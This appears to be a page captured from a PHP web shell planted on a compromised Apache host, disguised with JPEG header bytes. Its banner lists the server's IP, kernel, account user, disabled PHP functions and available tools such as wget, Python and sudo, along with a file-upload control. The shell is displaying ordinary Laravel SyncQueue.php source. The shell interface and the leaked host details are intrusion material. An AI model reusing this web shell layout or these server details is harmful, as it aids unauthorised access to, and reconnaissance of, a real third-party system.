ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.15.145.214 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds/vendor/laravel/framework/src/Illuminate/Queue/ |
Upload File : |
<?php namespace Illuminate\Queue; use Exception; use Throwable; use Illuminate\Queue\Jobs\SyncJob; use Illuminate\Contracts\Queue\Job; use Illuminate\Contracts\Queue\Queue as QueueContract; class SyncQueue extends Queue implements QueueContract { /** * Push a new job onto the queue. * * @param string $job * @param mixed $data * @param string $queue * @return mixed * * @throws \Exception|\Throwable */ public function push($job, $data = '', $queue = null) { $queueJob = $this->resolveJob($this->createPayload($job, $data, $queue)); try { $this->raiseBeforeJobEvent($queueJob); $queueJob->fire(); $this->raiseAfterJobEvent($queueJob); } catch (Exception $e) { $this->raiseExceptionOccurredJobEvent($queueJob, $e); $this->handleFailedJob($queueJob); throw $e; } catch (Throwable $e) { $this->raiseExceptionOccurredJobEvent($queueJob, $e); $this->handleFailedJob($queueJob); throw $e; } return 0; } /** * Push a raw payload onto the queue. * * @param string $payload * @param string $queue * @param array $options * @return mixed */ public function pushRaw($payload, $queue = null, array $options = []) { // } /** * Push a new job onto the queue after a delay. * * @param \DateTime|int $delay * @param string $job * @param mixed $data * @param string $queue * @return mixed */ public function later($delay, $job, $data = '', $queue = null) { return $this->push($job, $data, $queue); } /** * Pop the next job off of the queue. * * @param string $queue * @return \Illuminate\Contracts\Queue\Job|null */ public function pop($queue = null) { // } /** * Resolve a Sync job instance. * * @param string $payload * @return \Illuminate\Queue\Jobs\SyncJob */ protected function resolveJob($payload) { return new SyncJob($this->container, $payload); } /** * Raise the before queue job event. * * @param \Illuminate\Contracts\Queue\Job $job * @return void */ protected function raiseBeforeJobEvent(Job $job) { $data = json_decode($job->getRawBody(), true); if ($this->container->bound('events')) { $this->container['events']->fire(new Events\JobProcessing('sync', $job, $data)); } } /** * Raise the after queue job event. * * @param \Illuminate\Contracts\Queue\Job $job * @return void */ protected function raiseAfterJobEvent(Job $job) { $data = json_decode($job->getRawBody(), true); if ($this->container->bound('events')) { $this->container['events']->fire(new Events\JobProcessed('sync', $job, $data)); } } /** * Raise the exception occurred queue job event. * * @param \Illuminate\Contracts\Queue\Job $job * @param \Throwable $exception * @return void */ protected function raiseExceptionOccurredJobEvent(Job $job, $exception) { $data = json_decode($job->getRawBody(), true); if ($this->container->bound('events')) { $this->container['events']->fire(new Events\JobExceptionOccurred('sync', $job, $data, $exception)); } } /** * Handle the failed job. * * @param \Illuminate\Contracts\Queue\Job $job * @return array */ protected function handleFailedJob(Job $job) { $job->failed(); $this->raiseFailedJobEvent($job); } /** * Raise the failed queue job event. * * @param \Illuminate\Contracts\Queue\Job $job * @return void */ protected function raiseFailedJobEvent(Job $job) { $data = json_decode($job->getRawBody(), true); if ($this->container->bound('events')) { $this->container['events']->fire(new Events\JobFailed('sync', $job, $data)); } } }